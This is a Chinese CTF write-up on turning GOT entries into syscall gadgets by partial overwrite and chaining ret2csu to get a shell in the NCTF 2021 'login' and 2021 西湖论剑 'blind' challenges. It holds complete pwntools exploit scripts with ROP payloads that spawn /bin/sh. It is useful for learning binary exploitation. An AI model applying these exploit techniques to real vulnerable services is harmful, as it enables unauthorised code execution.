syscall还会在哪里 比较常见中低难度题目中,syscall 出现形式有:
syscall 是在 text 段里面作为 gadget 可以直接调用
在 64 位沙盒题目写 shellcode 执行 orw 时,使用 syscall 进行系统调用( 32 位系统调用是 int 0x80)
在 glibc 调用函数时也会出现 syscall ,比如 alarm、close 等等
调用 glibc 函数开头的 syscall 不需要泄露出 glibc 地址。因为可以看到这些 syscall 与 got 表中的地址处于同一个内存页,低字节覆盖就能将函数改为 syscall 。
各个版本 glibc 的每个函数 syscall 位置固定,也就是不要知道远程的 glibc 版本。
出题情景 一般情况漏洞都是栈溢出,然后不带任何输出函数,就是无法泄露的 libc 地址或者知道远程 libc 版本 (如果有输出函数就能调用输出函数泄露地址,成了简单题目)。
对于这种题目可以用 ret2dlresolve 解决。ret2dlresolve 会因题目位数和保护情况写 exp 利用难度不一,简单的可以用 pwntools 一把梭。也可以利用提到的 syscall 解决。
相关题目
题目需要涉及 ret2csu
2021 NCTF login 保护情况:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞就是 read 造成的栈溢出,没有输出功能函数。需要用 syscall 构造程序中没有的函数调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall main (int a1, char **a2, char **a3) { char buf[256 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Welcome to NCTF2021!" ); read(0 , buf, 272uLL ); close(1 ); close(2 ); return 0LL ; }
思路就是先覆盖 rbp 然后利用 text 段本身的 read 代码构造出的任意地址读写,栈迁移到写入的 ropchain 执行连续 csu 调用,将一个函数 got 改成 syscall ,通过 read 覆盖 rax 为 59 ,最后通过 csu getshell 。
exp 用的 csu 连续调用,也可以用 csu 模板单次调用,然后返回 main 重新写过一轮。由于关闭了 strout、stderr,需要执行 exec 1>&0
(原理 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *import syslocal = 1 binary = "./login" local_libc = "/lib/x86_64-linux-gnu/libc.so.6" ip = "192.168.40.10" port = 29538 remote_libc = "./libc-2.31.so" csu1 = 0x401270 csu2 = 0x40128A fake_stack = 0x404060 +0x500 main = 0x401196 leave_ret = 0x40121f def pwn (): payload0 = 'a' *256 +p64(fake_stack+0x100 )+p64(0x4011ED ) p.sendafter("NCTF2021!\n" ,payload0) payload1 = p64(csu2) payload1 += p64(0 ) + p64(1 ) payload1 += p64(0 ) payload1 += p64(elf.got['close' ]) payload1 += p64(1 ) payload1 += p64(elf.got['read' ]) payload1 += p64(csu1) payload1 += p64(0 ) payload1 += p64(0 ) + p64(1 ) payload1 += p64(0 ) payload1 += p64(fake_stack-0x200 ) payload1 += p64(0x3B ) payload1 += p64(elf.got['read' ]) payload1 += p64(csu1) payload1 += p64(0 ) payload1 += p64(0 ) + p64(1 ) payload1 += p64(fake_stack-0x200 ) payload1 += p64(0 ) payload1 += p64(0 ) payload1 += p64(elf.got['close' ]) payload1 += p64(csu1) payload1 += p64(0 ) p.send(payload1.ljust(0x100 ,'\x00' )+p64(fake_stack-8 )+p64(leave_ret)) p.send('\x85' ) p.send("/bin/sh" .ljust(0x3b ,'\x00' )) p.interactive() def cat_flag (): global flag p.recv() p.sendline("cat flag" ) flag = p.recvuntil('\n' ,drop=True ).strip() def debug (p,content='' ): if local: gdb.attach(p,content) raw_input() if __name__ == "__main__" : if (len (sys.argv)==3 ): ip = sys.argv[1 ] port = sys.argv[2 ] local = 0 elf = ELF(binary) if local: context.log_level = "debug" p=process(binary) libc = ELF(local_libc) pwn() else : p=remote(ip,port) libc=ELF(remote_libc) pwn()
2021 西湖论剑 blind 思路前面一样的,就是溢出长度很大、修改函数变成了 alarm 。但是由于 read 输入覆盖 alarm 的时候需要只写入一个字节,这一步还是需要用 csu。但是这里不能用连续的 csu 调用,因为调用 text 段 read 之后调整栈长度是 0x50 ,长度不够放下 ropchain ,就用最基础的调用方法:将下一个 csu gadget 放上一个 csu 调用的结束时调用的函数位置实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = "debug" p = process("./blind" ) elf = ELF("./blind" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) remote_libc = ELF("./libc-2.31.so" ) def gadget (p1, p2, j2, a1 = 0x0 , a2 = 0x0 , a3 = 0x0 ): payload = p64(p1) payload += p64(0x0 ) payload += p64(0x1 ) payload += p64(j2) payload += p64(a3) payload += p64(a2) payload += p64(a1) payload += p64(p2) payload += 'A' * 56 return payload pop_rdi = 0x00000000004007c3 pop_rsi_r15 = 0x00000000004007c1 payload = "a" * 0x58 payload += gadget(0x4007BA ,0x4007A0 ,elf.got["read" ],0 ,elf.got["alarm" ],1 ) payload += gadget(0x4007BA ,0x4007A0 ,elf.got["read" ],0 ,0x601088 ,0x3b ) payload += gadget(0x4007BA ,0x4007A0 ,elf.got["alarm" ],0x601088 ,0 ,0 ) payload += (0x500 - len (payload)) * "\x00" p.send(payload) p.send("\x19" ) p.send("/bin/sh\x00" + "a" * (0x3b -8 )) p.interactive()